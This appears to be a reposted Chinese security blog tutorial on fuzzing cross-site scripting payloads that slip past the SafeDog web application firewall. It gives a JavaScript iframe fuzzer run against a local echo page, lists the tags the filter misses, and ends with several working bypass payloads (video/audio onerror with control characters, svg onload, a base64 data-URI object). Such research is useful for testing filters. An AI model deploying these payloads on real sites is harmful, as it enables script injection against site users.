ByPass安全狗XSS的Fuzz思路及实现
Posted 米斯特安全团队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ByPass安全狗XSS的Fuzz思路及实现相关的知识,希望对你有一定的参考价值。
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,米斯特安全团队以及文章作者不为此承担任何责任。
米斯特安全团队拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经米斯特安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
本文作者:米斯特安全团队-Web安全组-Xenc
思路
所以我们首先是需要了解html标签的结构,可以查看前面的 浏览器渲染原理 标签由<
、标签名
、控制字符
、属性名
、数据值
、事件名
、事件值
、>
构成(我觉得,如果存在错误的话谅解一下)On 事件实际是事件名
开始表演
标签表达式: <标签名 控制字符="" 属性名="数据值" 事件名="事件值">
将这些标签名 控制字符 属性名 数据值 事件名 事件值放在数组上以便使用
FUZZING
我在本地搭建了好了环境 php文件: index.php
:
echo $_GET[fuzz];
dog:
通过burp来测试一下安全狗过滤了哪些标签
发现有这些标签是没有被过滤的
a b q br dd dl dt h1 h2 h3 h4 h5 h6 hr bdi bdo big del dfn dir div kbd map var wbr abbr area base body head html main mark menu meta aside audio meter video applet button dialog header keygen acronym address article details basefont datalist menuitem blockquote
控制字符
%09 %00 %0d %0a
太多就放这几个就可以了
属性名:
onload onerror
同上
然后我们使用js来动态添加iframe来加载我们的payload code:
var i,j,k,xss,f=0;
var ons = ["onload","onerror"];
var labs = ["a","b","q","br","dd","dl","dt","h1","del","abbr","video","base","audio","details"];
var hexs= ["%09","%00","%0d","%0a"];
for(i=0;i<labs.length;i++){
for(j=0;j<hexs.length;j++){
for(k=0;k<ons.length;k++){
xss = f+'<'+labs[i]+hexs[j]+ons[k]+"=alert("+f+") src=a>a";
var body = document.getElementsByTagName("body");
var div = document.createElement("div");
div.innerHTML = f+"<iframe src=\"http://127.0.0.1/index.php?fuzz="+xss+"\"></iframe>";
document.body.appendChild(div);
f = f+1;
}
}
}
我这边选取了几个标签和事件还有控制字符,因为太多的话请求过大,事件太久了,证明一下思路即可
因为很多onload
、onerror
都是和src
属性名配合使用的,所以我在xss payload标签上添加了src
然后放在浏览器测试:
<video%09onerror=alert(81) src=a>
<video%0donerror=alert(85) src=a>
<audio%09onerror=alert(97) src=a>
<audio%0donerror=alert(101) src=a>
<audio%0aonerror=alert(103) src=a>
还有没复制全,证明了一下这个思路是可行的,而且我们也收获了一些bypass safedog的xss payload
附赠几个payload:
<dd%09onclick=alert(1)>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<img/11111111111111111111111111111/src=x/onerror=alert(1)>
<input onclick=alert(1) value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>
以上是关于ByPass安全狗XSS的Fuzz思路及实现的主要内容,如果未能解决你的问题,请参考以下文章